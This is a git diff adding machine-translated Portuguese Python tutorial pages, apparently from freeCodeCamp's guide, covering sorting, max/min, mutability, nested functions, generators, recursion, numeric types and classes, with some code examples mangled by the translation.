+Se você quiser classificar a lista com base em sua própria função, use o parâmetro **key** . Aqui está um exemplo para ordenar as strings na lista por comprimento, em ordem crescente
+
+```py
+a = ["hello", "hi", "hey"] 
+ 
+ #The built-in len() function is given as an input to key parameter to sort the strings by length 
+ a.sort(key = len) 
+ 
+ print a # prints ['hi', 'hey', 'hello'] 
+```
+
+Aqui está outro exemplo, onde a lista contém tuplas (nome, idade). O uso abaixo mostra como ordenar a lista por idade, em ordem crescente.
+
+```py
+#Consider the second element in the tuple for sorting 
+ >>> def compareByAge(element): 
+ ...     return element[1] 
+ 
+ b = [('Adam', 20), ('Rahman', 30), ('Rahul', 25)] 
+ 
+ #Sort the list by age 
+ b.sort(key = compareByAge) 
+ 
+ #Output 
+ print b # prints [('Adam', 20), ('Rahul', 25), ('Rahman', 30)] 
+```
+
+### Noções básicas de classificação
+
+Uma simples ordenação ascendente é muito fácil - basta chamar a função sorted (). Ele retorna uma nova lista classificada:
+
+```python
+>>> sorted([5, 2, 3, 1, 4]) 
+ [1, 2, 3, 4, 5] 
+```
+
+Você também pode usar o método list.sort () de uma lista. Ele modifica a lista no local (e retorna Nenhum para evitar confusão). Geralmente é menos conveniente do que classificado () - mas se você não precisa da lista original, é um pouco mais eficiente.
+
+```python
+>>> a = [5, 2, 3, 1, 4] 
+ >>> a.sort() 
+ >>> a 
+ [1, 2, 3, 4, 5] 
+```
+
+Outra diferença é que o método list.sort () é definido apenas para listas. Em contraste, a função sorted () aceita qualquer iterável.
+
+```python
+>>> sorted({1: 'D', 2: 'B', 3: 'B', 4: 'E', 5: 'A'}) 
+ [1, 2, 3, 4, 5] 
+```
+
+#### Detalhes da implementação
+
+Se alguém quiser saber detalhes sobre a implementação da função de classificação, o algoritmo e a complexidade de tempo, etc., referem-se [aqui](http://svn.python.org/projects/python/trunk/Objects/listsort.txt) . Em resumo, a função sort usa o algoritmo TimSort, que de acordo com os desenvolvedores Python, é: -
+
+> um mergesort adaptável, estável e natural, modestamente chamado timsort (ei, eu ganhei ). Tem um desempenho sobrenatural em muitos tipos de matrizes parcialmente ordenadas (menos de lg (N!) comparações necessárias, e tão poucos quanto N-1), mas tão rápido quanto o sampleort anterior do Python híbrido em matrizes aleatórias.
+
+#### sort () Parâmetros
+
+Por padrão, sort () não requer nenhum parâmetro extra. No entanto, ele tem dois parâmetros opcionais:
+
+*   reverse - Se true, a lista classificada é invertida (ou classificada em ordem descendente)
+*   key - função que serve como chave para a comparação de classificação
+
+#### Mais Informações:
+
+Mais informações sobre `sort()` podem ser encontradas [aqui](https://docs.python.org/3/library/functions.html#sorted)
+
+Mais informações sobre sort () e sorted () podem ser encontradas [aqui](https://docs.python.org/3.6/tutorial/datastructures.html)
+
+Mais informações sobre sort () e sorted () podem ser encontradas [aqui](https://docs.python.org/3.6/tutorial/datastructures.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/max-function/index.md b/client/src/guide/portuguese/python/max-function/index.md
new file mode 100644
index 0000000000..5cc581e704
--- /dev/null
+++ b/client/src/guide/portuguese/python/max-function/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Max Function
+localeTitle: Função Max do Python
+---
+`max()` é uma função embutida no Python 3. Ele retorna o maior item em um iterável ou o maior de dois ou mais argumentos.
+
+## Argumentos
+
+Essa função usa dois ou mais números ou qualquer tipo de iterável como argumento. Ao dar um iterável como um argumento, devemos nos certificar de que todos os elementos no iterável são do mesmo tipo. Isso significa que não podemos passar uma lista que tenha valores de string e inteiros armazenados nela. Sintaxe: max (iterável, \* iteráveis ​​\[, chave, padrão\]) max (arg1, arg2, \* args \[, chave\])
+
+Argumentos válidos:
+```
+max(2, 3) 
+ max([1, 2, 3]) 
+ max('a', 'b', 'c') 
+```
+
+Argumentos inválidos:
+```
+max(2, 'a') 
+ max([1, 2, 3, 'a']) 
+ max([]) 
+```
+
+## Valor de retorno
+
+O maior item no iterável é retornado. Se dois ou mais argumentos posicionais forem fornecidos, o maior dos argumentos posicionais será retornado. Se o iterable estiver vazio e o padrão não for fornecido, um `ValueError` será gerado.
+
+## Amostra de código
+```
+print(max(2, 3)) # Returns 3 as 3 is the largest of the two values 
+ print(max(2, 3, 23)) # Returns 23 as 23 is the largest of all the values 
+ 
+ list1 = [1, 2, 4, 5, 54] 
+ print(max(list1)) # Returns 54 as 54 is the largest value in the list 
+ 
+ list2 = ['a', 'b', 'c' ] 
+ print(max(list2)) # Returns 'c' as 'c' is the largest in the list because c has ascii value larger then 'a' ,'b'. 
+ 
+ list3 = [1, 2, 'abc', 'xyz'] 
+ print(max(list3)) # Gives TypeError as values in the list are of different type 
+ 
+ #Fix the TypeError mentioned above first before moving on to next step 
+ 
+ list4 = [] 
+ print(max(list4)) # Gives ValueError as the argument is empty 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CVok)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#max)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/min-function/index.md b/client/src/guide/portuguese/python/min-function/index.md
new file mode 100644
index 0000000000..248fdcd4c9
--- /dev/null
+++ b/client/src/guide/portuguese/python/min-function/index.md
@@ -0,0 +1,52 @@
+---
+title: Python Min Function
+localeTitle: Função Min do Python
+---
+`min()` é uma função embutida no Python 3. Ele retorna o menor item em um iterável ou o menor de dois ou mais argumentos.
+
+## Argumentos
+
+Essa função usa dois ou mais números ou qualquer tipo de iterável como argumento. Ao dar um iterável como um argumento, devemos nos certificar de que todos os elementos no iterável são do mesmo tipo. Isso significa que não podemos passar uma lista que tenha valores de string e inteiros armazenados nela.
+
+Argumentos válidos:
+```
+min(2, 3) 
+ min([1, 2, 3]) 
+ min('a', 'b', 'c') 
+```
+
+Argumentos inválidos:
+```
+min(2, 'a') 
+ min([1, 2, 3, 'a']) 
+ min([]) 
+```
+
+## Valor de retorno
+
+O menor item no iterável é retornado. Se dois ou mais argumentos posicionais forem fornecidos, o menor dos argumentos posicionais  
+é retornado. Se o iterable estiver vazio e o padrão não for fornecido, um ValueError será gerado.
+
+## Amostra de código
+```
+print(min(2, 3)) # Returns 2 as 2 is the smallest of the two values 
+ print(min(2, 3, -1)) # Returns -1 as -1 is the smallest of the two values 
+ 
+ list1 = [1, 2, 4, 5, -54] 
+ print(min(list1)) # Returns -54 as -54 is the smallest value in the list 
+ 
+ list2 = ['a', 'b', 'c' ] 
+ print(min(list2)) # Returns 'a' as 'a' is the smallest in the list in alphabetical order 
+ 
+ list3 = [1, 2, 'abc', 'xyz'] 
+ print(min(list3)) # Gives TypeError as values in the list are of different type 
+ 
+ #Fix the TypeError mentioned above first before moving on to next step 
+ 
+ list4 = [] 
+ print(min(list4)) # Gives ValueError as the argument is empty 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CVir/4)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#min)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/more-built-in-types/index.md b/client/src/guide/portuguese/python/more-built-in-types/index.md
new file mode 100644
index 0000000000..f40ae6d375
--- /dev/null
+++ b/client/src/guide/portuguese/python/more-built-in-types/index.md
@@ -0,0 +1,9 @@
+---
+title: Python More Built in Types
+localeTitle: Python Mais Construído em Tipos
+---
+As seções a seguir descrevem os tipos padrão que são construídos no interpretador.
+
+Os principais tipos internos são números, seqüências, mapeamentos, classes, instâncias e exceções.
+
+Algumas classes de coleções são mutáveis. Os métodos que adicionam, subtraem ou reorganizam seus membros e não retornam um item específico, nunca retornem a instância de coleção em si, mas None.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/mutability-and-variable-assignments/index.md b/client/src/guide/portuguese/python/mutability-and-variable-assignments/index.md
new file mode 100644
index 0000000000..08929bd1cb
--- /dev/null
+++ b/client/src/guide/portuguese/python/mutability-and-variable-assignments/index.md
@@ -0,0 +1,68 @@
+---
+title: Python Mutability and Variable Assignments
+localeTitle: Mutabilidade de Python e atribuições variáveis
+---
+> Todo objeto tem uma identidade, um tipo e um valor. A identidade de um objeto nunca muda depois de ter sido criada; você pode pensar nisso como o endereço do objeto na memória. [fonte](https://docs.python.org/3/reference/datamodel.html#data-model)
+
+Depois que um `object` é criado, o tipo e a identidade não podem ser alterados. Se o valor do objeto pode ou não mudar após a criação determina se o objeto é mutável (pode mudar) ou imutável (não pode mudar).
+
+Até agora aprendemos sobre alguns tipos de objetos e suas subclasses: `string` s e objetos numéricos (inteiro, ponto flutuante, complexo e booleano). Todos esses são objetos **imutáveis** .
+
+Esse conceito pode ser confuso no começo porque o que é bom é um objeto se você não puder modificá-lo. O que torna esses objetos utilizáveis ​​é a capacidade de atribuir e reatribuir variáveis. Funções e operadores podem retornar novos objetos que podem ser atribuídos a variáveis.
+
+Usando a [função id integrada](https://docs.python.org/3/library/functions.html#id) , que retorna a identidade de um objeto, podemos ver como isso funciona.
+
+Aqui estão algumas coisas para manter em mente:
+
+*   Atribuir uma variável não significa que a _variável_ é o _objeto_ . Usamos uma linguagem muito específica, observando que as _instruções de atribuição_ **associam** um **nome** (identificador) a um _objeto_ . Variáveis ​​podem ser reatribuídas:
+
+\`python
+
+> > > a = 1 # Vincule um a um objeto.  
+> > > id (a)  
+> > > 140355241530152  
+> > > a = 2 # Rebinde um para outro objeto.  
+> > > id (a)  
+> > > 140355241530128  
+> > > \`
+
+*   Atribuir duas variáveis ​​diferentes a _objetos imutáveis_ com o mesmo valor pode resultar (não garantido) neles sendo vinculados ao mesmo _objeto_
+
+\`python
+
+> > > a = 1  
+> > > b = 1  
+> > > id (a)  
+> > > 140355241530152  
+> > > id (b) # Neste caso aeb estão ligados ao mesmo objeto.  
+> > > 140355241530152  
+> > > \`
+
+*   Atribuir duas variáveis ​​diferentes a _objetos imutáveis_ com valores diferentes sempre resultará na vinculação a _objetos_ diferentes:
+
+\`python
+
+> > > a = 1  
+> > > b = 2  
+> > > id (a)  
+> > > 140355241530152  
+> > > id (b) # aeb estão ligados a objetos diferentes.  
+> > > 140355241530128  
+> > > \`
+
+*   A reatribuição de variáveis ​​não altera o objeto original, ele as liga a um objeto diferente.
+
+\`python
+
+> > > a = 1  
+> > > b = 1  
+> > > id (a)  
+> > > 140355241530152  
+> > > id (b)  
+> > > 140355241530152  
+> > > a = 2  
+> > > id (a) # a é rebatido para um objeto diferente.  
+> > > 140355241530128  
+> > > id (b) # b ainda está vinculado ao objeto original.  
+> > > 140355241530152  
+> > > \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/name-binding-and-aliasing-functions/index.md b/client/src/guide/portuguese/python/name-binding-and-aliasing-functions/index.md
new file mode 100644
index 0000000000..fbeee15486
--- /dev/null
+++ b/client/src/guide/portuguese/python/name-binding-and-aliasing-functions/index.md
@@ -0,0 +1,28 @@
+---
+title: Python Name Binding and Aliasing Functions
+localeTitle: Funções de vinculação e aliasing de nome do Python
+---
+Uma definição de função introduz o nome da função na tabela de símbolos atual. O valor do nome da função tem um tipo que é reconhecido pelo interpretador como uma função definida pelo usuário.
+```
+>>> something = 1 
+ >>> type(something) 
+ <type 'int'> 
+ >>> def something(): 
+ ...     pass 
+ ... 
+ >>> type(something) 
+ <type 'function'> 
+ >>> something = [] 
+ >>> type(something) 
+ <type 'list'> 
+```
+
+Este valor pode ser atribuído a outro nome, que também pode ser usado como uma função. Isso serve como um mecanismo geral de renomeação:
+```
+>>> fib 
+ <function fib at 10042ed0> 
+ >>> f = fib 
+ >>> f(100) 
+ 0 1 1 2 3 5 8 13 21 34 55 89 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/nested-functions/index.md b/client/src/guide/portuguese/python/nested-functions/index.md
new file mode 100644
index 0000000000..4e982b72f9
--- /dev/null
+++ b/client/src/guide/portuguese/python/nested-functions/index.md
@@ -0,0 +1,105 @@
+---
+title: Nested Functions in Python
+localeTitle: Funções aninhadas em Python
+---
+### Namespaces
+
+Os parâmetros de uma função, mais quaisquer variáveis ​​vinculadas (por atribuição ou por outras instruções de ligação, como def) no corpo da função, compõem o espaço de nomes local da função, também conhecido como escopo local. Cada uma dessas variáveis ​​é conhecida como uma variável local da função.
+
+Variáveis ​​que não são locais são conhecidas como variáveis ​​globais (na ausência de definições de funções aninhadas, as quais discutiremos em breve). Variáveis ​​globais são atributos do objeto de módulo, como abordado em "Atributos de objetos de módulo" na página 140. Sempre que a variável local de uma função tiver o mesmo nome de uma variável global, esse nome, dentro do corpo da função, refere-se à variável local, não o global. Expressamos isso dizendo que a variável local oculta a variável global com o mesmo nome em todo o corpo da função.
+
+### A declaração global
+
+Por padrão, qualquer variável vinculada a um corpo de função é uma variável local da função. Se uma função precisar religar algumas variáveis ​​globais, o primeiro declaração da função deve ser:
+
+identificadores globais
+
+onde identificadores é um ou mais identificadores separados por vírgulas (,). Os identificadores listados em uma declaração global referem-se às variáveis ​​globais (ou seja, atributos do objeto do módulo) que a função precisa ser religada. Por exemplo, o contador de funções que vimos em "Outros atributos de objetos de função" na página 73 poderia ser implementado usando uma variável global e global, em vez de um atributo do objeto de função:
+
+\_count = 0 contador de def (): \_count global \_count + = 1 return \_count
+
+Sem a declaração global, a função de contador levantaria uma exceção UnboundLocal-Error porque \_count seria, então, uma variável local não inicializada (não acoplada). Embora a declaração global permita esse tipo de programação, esse estilo é frequentemente deselegante e desaconselhável. Como mencionei anteriormente, quando você deseja agrupar algum estado e algum comportamento, os mecanismos orientados a objeto abordados no Capítulo 5 são geralmente os melhores.
+
+Não use global se o corpo da função apenas usar uma variável global (incluindo a mutação do objeto ligado a essa variável se o objeto for mutável). Use uma declaração global somente se o corpo da função religar uma variável global (geralmente atribuindo ao nome da variável). Por uma questão de estilo, não use global a menos que seja estritamente necessário, pois sua presença fará com que os leitores do seu programa assumam que a declaração está lá para algum propósito útil. Em particular, nunca use global, exceto como a primeira instrução em um corpo de função.
+
+{mospagebreak title = Funções aninhadas e escopos aninhados}
+
+Uma declaração def dentro de um corpo de função define uma função aninhada, e a função cujo corpo inclui o def é conhecida como uma função externa à função aninhada. Código no corpo de uma função aninhada pode acessar (mas não religar) variáveis ​​locais de uma função externa, também conhecidas como variáveis ​​livres da função aninhada.
+
+A maneira mais simples de permitir que uma função aninhada acesse um valor geralmente não é confiar em escopos aninhados, mas sim passar explicitamente esse valor como um dos argumentos da função. Se necessário, o valor do argumento pode ser vinculado quando a função aninhada é definida usando o valor como padrão para um argumento opcional. Por exemplo:
+
+def percent1 (a, b, c): def pc (x, total = a + b + c): retorno (x \* 100,0) / total print "Porcentagens são:", pc (a), pc (b), pc (c)
+
+Aqui está a mesma funcionalidade usando escopos aninhados:
+
+def percent2 (a, b, c): def pc (x): retorno (x \* 100,0) / (a ​​+ b + c) print "Porcentagens são:", pc (a), pc (b), pc (c)
+
+Neste caso específico, o percent1 tem uma pequena vantagem: o cálculo de um + b + c acontece apenas uma vez, enquanto o pc da função interna do percent22 repete o cálculo três vezes. No entanto, se a função externa religar suas variáveis ​​locais entre as chamadas para a função aninhada, a repetição da computação poderá ser necessária. Portanto, é aconselhável estar ciente de ambas as abordagens e escolher o mais apropriado caso a caso.
+
+Uma função aninhada que acessa valores de variáveis ​​locais externas também é conhecida como encerramento. O exemplo a seguir mostra como construir um encerramento:
+
+def make\_adder (augend): def add (addend): return addend + augend retorno add
+
+Os fechamentos são uma exceção à regra geral de que os mecanismos orientados a objeto abordados no Capítulo 5 são a melhor maneira de agrupar dados e códigos. Quando você precisa especificamente construir objetos selecionáveis, com alguns parâmetros fixos no tempo de construção do objeto, os encerramentos podem ser mais simples e mais efetivos do que as classes. Por exemplo, o resultado de make\_adder (7) é uma função que aceita um único argumento e adiciona 7 a esse argumento. Uma função externa que retorna um encerramento é uma "fábrica" ​​para membros de uma família de funções distinguida por alguns parâmetros, como o valor do argumento augend no exemplo anterior, e pode frequentemente ajudá-lo a evitar a duplicação de código.
+
+### Expressões de lambda
+
+Se um corpo da função for uma instrução de expressão de retorno única, você poderá optar por substituir a função pelo formulário de expressão lambda especial:
+
+Parâmetros lambda: expression
+
+Uma expressão lambda é o equivalente anônimo de uma função normal cujo corpo é uma única instrução de retorno. Observe que a sintaxe lambda não usa a palavra-chave return. Você pode usar uma expressão lambda sempre que puder usar uma referência a uma função. O lambda às vezes pode ser útil quando você deseja usar uma função simples como argumento ou valor de retorno. Aqui está um exemplo que usa uma expressão lambda como um argumento para a função de filtro interna (coberta no filtro na página 161):
+
+aList = \[1, 2, 3, 4, 5, 6, 7, 8, 9\] baixo = 3 alta = 7 filtro (lambda x, l = baixo, h = alto: h> x> l, aList) # retorna: \[4, 5, 6\]
+
+Como alternativa, você sempre pode usar uma instrução def local que dê um nome ao objeto da função. Você pode então usar esse nome como argumento ou valor de retorno. Aqui está o mesmo exemplo de filtro usando uma declaração def local:
+
+aList = \[1, 2, 3, 4, 5, 6, 7, 8, 9\] baixo = 3 alta = 7 def dentro dos _limites (valor, l = baixo, h = alto): return h> valor> l filter (dentro dos_ limites, aList) # retorna: \[4, 5, 6\]
+
+Embora o lambda possa ocasionalmente ser útil, muitos usuários do Python preferem def, que é mais geral, e pode tornar seu código mais legível se você escolher um nome razoável para a função.
+
+{mospagebreak title = Geradores}
+
+Quando o corpo de uma função contém uma ou mais ocorrências do rendimento da palavra-chave, a função é conhecida como um gerador. Quando você chama um gerador, o corpo da função não é executado. Em vez disso, chamar o gerador retorna um objeto iterador especial que envolve o corpo da função, suas variáveis ​​locais (incluindo seus parâmetros) e o ponto atual de execução, que é inicialmente o início da função.
+
+Quando o próximo método deste objeto iterador é chamado, o corpo da função é executado até a próxima instrução yield, que recebe o seguinte formato:
+
+expressão de rendimento
+
+Quando uma instrução yield é executada, a execução da função é "congelada", com o ponto atual de execução e variáveis ​​locais intactas, e a expressão seguinte yield é retornada como o resultado do próximo método. Quando o próximo é chamado novamente, a execução do corpo da função é retomada de onde parou, até a próxima declaração de rendimento. Se o corpo da função terminar ou executar uma instrução de retorno, o iterador gerará uma exceção StopIteration para indicar que a iteração foi concluída. instruções de retorno em um gerador não podem conter expressões.
+
+Um gerador é uma maneira muito útil de construir um iterador. Como a maneira mais comum de usar um iterador é fazer um loop com uma instrução for, você normalmente chama um gerador assim:
+
+para avariable em somegenerator (argumentos):
+
+Por exemplo, digamos que você deseje uma sequência de números contando de 1 a N e depois novamente para 1. Um gerador pode ajudar:
+
+def updown (N): para x em xrange (1, N): yield x para x em xrange (N, 0, -1): yield x para i em updown (3): imprimir i # impressões: 1 2 3 2 1
+
+Aqui está um gerador que funciona um pouco como a função xrange integrada, mas retorna uma seqüência de valores de ponto flutuante em vez de uma sequência de inteiros:
+
+def frange (iniciar, parar, passo = 1.0): enquanto iniciar <stop: rendimento começo iniciar + = passo
+
+Esse exemplo é um pouco parecido com xrange porque, por simplicidade, faz com que os argumentos iniciem e parem obrigatórios, e silenciosamente assume que o passo é positivo.
+
+Os geradores são mais flexíveis que as funções que retornam listas. Um gerador pode construir um iterador ilimitado, ou seja, um que retorna um fluxo infinito de resultados (para usar apenas em loops que terminam por outros meios, por exemplo, por meio de uma instrução break). Além disso, um iterador construído pelo gerador executa avaliação preguiçosa: o iterador calcula cada item sucessivo somente quando e se necessário, just in time, enquanto a função equivalente faz todos os cálculos com antecedência e pode exigir grandes quantidades de memória para manter a lista de resultados. Portanto, se tudo que você precisa é a capacidade de iterar em uma seqüência computada, geralmente é melhor calcular a seqüência em um gerador em vez de em uma função que retorna uma lista. Se o chamador precisar de uma lista de todos os itens produzidos por algum gerador G (argumentos), o chamador pode simplesmente usar o seguinte código:
+
+resultante\_list = lista (G (argumentos))
+
+### Expressões geradoras
+
+O Python 2.4 introduz uma maneira ainda mais simples de codificar geradores particularmente simples: expressões geradoras, comumente conhecidas como genexps. A sintaxe de um genexp é semelhante à de uma compreensão de lista (conforme abordado em "List comprehensions" na página 67), exceto que um genexp é colocado entre parênteses (()) em vez de colchetes (\[\]); as semânticas de um genexp são as mesmas da compreensão de lista correspondente, exceto que um genexp produz um iterador produzindo um item por vez, enquanto uma compreensão de lista produz uma lista de todos os resultados na memória (portanto, usando um genexp, quando apropriado, economiza memória). Por exemplo, para somar os quadrados de todos os inteiros de dígito único, em qualquer Python moderno, você pode codificar soma (\[x _x para x em xrange (10)\]); no Python 2.4, você pode expressar essa funcionalidade ainda melhor, codificando-a como soma (x_ x para x em xrange (10)) (da mesma forma, mas omitindo os colchetes) e obter exatamente o mesmo resultado enquanto consome menos memória. Observe que os parênteses que indicam a chamada de função também "fazem o dever duplo" e incluem o genexp (sem necessidade de parênteses extras).
+
+{mospagebreak title = Geradores no Python 2.5}
+
+No Python 2.5, geradores são aprimorados, com a possibilidade de receber um valor (ou uma exceção) de volta do chamador à medida que cada rendimento é executado. Esses recursos avançados permitem que geradores em 2.5 implementem co-rotinas completas, como explicado em http://www.python.org/peps/pep-0342.html. A principal mudança é que, em 2.5, yield não é uma declaração, mas uma expressão, então ela tem um valor. Quando um gerador é retomado chamando seu método em seguida, o valor do rendimento correspondente é Nenhum. Para passar um valor x para algum gerador g (para que g receba x como o valor do rendimento no qual ele é suspenso), em vez de chamar g.next (), o chamador chama g.send (x) (chamando g.send (Nenhum) é como chamar g.next ()). Além disso, um rendimento nulo sem argumentos, no Python 2.5, torna-se legal e equivalente para produzir Nenhum.
+
+Outros aprimoramentos do Python 2.5 para geradores têm a ver com exceções e são abordados em "Aprimoramentos do gerador" na página 126.
+
+### Recursão
+
+O Python suporta recursão (isto é, uma função Python pode se chamar), mas há um limite para o quão profunda a recursão pode ser. Por padrão, o Python interrompe a recursão e gera uma exceção RecursionLimitExceeded (abordada em "Classes de exceção padrão" na página 130) quando detecta que a pilha de chamadas recursivas ultrapassou uma profundidade de 1.000. Você pode alterar o limite de recursão com a função setrecursionlimit do módulo sys, coberto em setrecursionlimit na página 171.
+
+No entanto, alterar o limite de recursão não oferece recursão ilimitada; o limite máximo absoluto depende da plataforma em que seu programa está sendo executado, particularmente no sistema operacional subjacente e na biblioteca de tempo de execução C, mas normalmente é de alguns milhares de níveis. Se as chamadas recursivas forem muito profundas, seu programa falhará. Essa recursão descontrolada, depois de uma chamada para setrecursionlimit que excede as capacidades da plataforma, é uma das poucas maneiras que um programa Python pode travar - realmente falha, difícil, sem a rede de segurança usual dos mecanismos de exceção do Python. Portanto, tenha cuidado ao tentar corrigir um programa que está obtendo exceções RecursionLimitExceeded aumentando o limite de recursão muito alto com setrecursionlimit. Na maioria das vezes, aconselhamos que você procure maneiras de remover a recursão ou, mais especificamente, limite a profundidade da recursão de que seu programa precisa.
+
+Os leitores que estão familiarizados com as linguagens de programação funcional, Lisp ou Schep devem, em particular, estar cientes de que o Python não implementa a otimização da "eliminação da chamada final", que é tão importante nesses idiomas. No Python, qualquer chamada, recursiva ou não, tem o mesmo custo em termos de tempo e espaço de memória, dependendo apenas do número de argumentos: o custo não muda, se a chamada é uma "chamada de cauda" (significando que a chamada é a última operação que o chamador executa) ou qualquer outra chamada não solicitada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/numeric-operations/index.md b/client/src/guide/portuguese/python/numeric-operations/index.md
new file mode 100644
index 0000000000..1fd1297472
--- /dev/null
+++ b/client/src/guide/portuguese/python/numeric-operations/index.md
@@ -0,0 +1,45 @@
+---
+title: Python Numeric Operations
+localeTitle: Operações Numéricas em Python
+---
+[Python Docs - Operações Numéricas](https://docs.python.org/3/library/stdtypes.html#numeric-types-int-float-complex)
+
+O Python suporta totalmente a aritmética mista: quando um operador aritmético binário possui operandos de diferentes tipos numéricos, o operando com o tipo "mais restrito" é ampliado para o outro, onde o inteiro é mais estreito que o ponto flutuante, que é mais estreito que complexo. Comparações entre números de tipos mistos usam a mesma regra. [2\] Os construtores int (), float () e complex () podem ser usados ​​para produzir números de um tipo específico.](https://docs.python.org/3/library/functions.html#abs)
+
+Todos os tipos numéricos (exceto complexos) suportam as seguintes operações, classificadas por prioridade crescente (todas as operações numéricas têm uma prioridade mais alta que as operações de comparação):
+
+Operação | Resultados | Notas | Documentação completa  
+\----------------- | -------------------------------------------------- ------------------------- | ------ | -------------------------------------------------- ---------------------  
+`x + y` | soma de x e y | |  
+`x - y` | diferença de x e y | |  
+`x * y` | produto de xey | |  
+`x / y` | quociente de xey | |  
+`x // y` | quociente com piso de xey | (1) |  
+`x % y` | restante de x / y | (2)  
+`-x` | x negado | |  
+`+x` | x inalterado | |  
+`abs(x)` | valor absoluto ou magnitude de x | | \[ `abs()`  
+`int(x)` | x convertido em inteiro | (3) (6) | [`int()`](https://docs.python.org/3/library/functions.html#int)  
+`float(x)` | x convertido em ponto flutuante | (4) (6) | [`float()`](https://docs.python.org/3/library/functions.html#float)  
+`complex(re, im)` | um número complexo com parte real re, parte imaginária im. im padrão é zero. | (6) | [`complex()`](https://docs.python.org/3/library/functions.html#complex)  
+`c.conjugate()` | conjugado do número complexo c | |  
+`divmod(x, y)` | o par (x // y, x% y) | (2) | [`divmod()`](https://docs.python.org/3/library/functions.html#divmod)  
+`pow(x, y)` | x para o poder y | (5) | [`pow()`](https://docs.python.org/3/library/functions.html#pow)  
+`x ** y` | x para o poder y | (5)
+
+**Notas:**
+
+1.  Também referido como divisão inteira. O valor resultante é um inteiro inteiro, embora o tipo do resultado não seja necessariamente int. O resultado é sempre arredondado para menos infinito: `1//2` é `0` , `(-1)//2` é `-1` , `1//(-2)` é `-1` e `(-1)//(-2)` é `0`
+    
+2.  Não para números complexos. Em vez disso, converta para carros alegóricos usando `abs()` se apropriado.
+    
+3.  Conversão de ponto flutuante para inteiro pode arredondar ou truncar como em C; veja as funções [`math.floor()`](https://docs.python.org/3/library/math.html#math.floor) e [`math.ceil()`](https://docs.python.org/3/library/math.html#math.ceil) para conversões bem definidas.
+    
+4.  `float` também aceita as strings `“nan”` e `“inf”` com um prefixo opcional `“+”` ou `“-”` para Não um número (NaN) e infinito positivo ou negativo.
+    
+5.  O Python define `pow(0, 0)` e `0 ** 0` como `1` , como é comum em linguagens de programação.
+    
+6.  Os literais numéricos aceitos incluem os dígitos de 0 a 9 ou qualquer equivalente Unicode (pontos de código com a propriedade `Nd` ).
+    
+
+> Veja [Tipo Numérico Derivado de Unicode](http://www.unicode.org/Public/8.0.0/ucd/extracted/DerivedNumericType.txt) para uma lista completa de pontos de código com a propriedade `Nd` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/numeric-types/index.md b/client/src/guide/portuguese/python/numeric-types/index.md
new file mode 100644
index 0000000000..16e2076c83
--- /dev/null
+++ b/client/src/guide/portuguese/python/numeric-types/index.md
@@ -0,0 +1,36 @@
+---
+title: Python Numeric Types
+localeTitle: Tipos Numéricos em Python
+---
+Os [tipos numéricos](https://docs.python.org/3/library/stdtypes.html#numeric-types-int-float-complex) para o Python são:
+
+*   inteiros ( `int` )
+
+#### Exemplos:
+
+```py
+print(1) 
+ print(100) 
+ print(8435367) 
+```
+
+*   números de ponto flutuante ( `float` )
+    *   [construtor](https://docs.python.org/3/library/functions.html#float)
+
+#### Exemplos:
+
+```py
+print(1.5) 
+ print(46.84) 
+ print(84357.435) 
+```
+
+*   números complexos
+    *   [construtor](https://docs.python.org/3/library/functions.html#complex)
+
+A biblioteca padrão adiciona tipos numéricos para
+
+*   [frações](https://docs.python.org/3/library/fractions.html#module-fractions)
+*   [decimais](https://docs.python.org/3/library/decimal.html#module-decimal)
+
+Objetos numéricos são criados a partir de literais ou como resultado de funções e operadores. A sintaxe para literais numéricos está bem [documentada](https://docs.python.org/3/reference/lexical_analysis.html#numeric-literals) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/classes/index.md b/client/src/guide/portuguese/python/object-oriented-programming/classes/index.md
new file mode 100644
index 0000000000..8047a9d1d1
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/classes/index.md
@@ -0,0 +1,17 @@
+---
+title: Classes
+localeTitle: Classes
+---
+## Classes
+
+Uma classe é um "plano" para criar objetos: escrever uma classe permite descrever atributos e comportamentos comuns a todas as instâncias dessa classe.
+
+## Crie uma classe
+
+Para definir uma classe da palavra-chave **classe** é usado, seguido do nome define a classe e um cólon. Todas as seguintes linhas (código descrevendo atributos e comportamentos / métodos) - são recuadas como em uma função Python. Por exemplo, para criar uma classe chamada Person, podemos escrever:
+
+`class Person: <code describing attributes and behaviors/methods>`
+
+As definições de classe devem ser executadas antes de terem algum efeito.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/constructors/index.md b/client/src/guide/portuguese/python/object-oriented-programming/constructors/index.md
new file mode 100644
index 0000000000..dfc8867a76
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/constructors/index.md
@@ -0,0 +1,11 @@
+---
+title: Constructors
+localeTitle: Construtores
+---
+## Construtores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/index.md b/client/src/guide/portuguese/python/object-oriented-programming/index.md
new file mode 100644
index 0000000000..ccb2f89fca
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/index.md
@@ -0,0 +1,16 @@
+---
+title: Python Object Oriented Programming
+localeTitle: Programação Orientada a Objetos Python
+---
+## Programação Orientada a Objetos Python
+
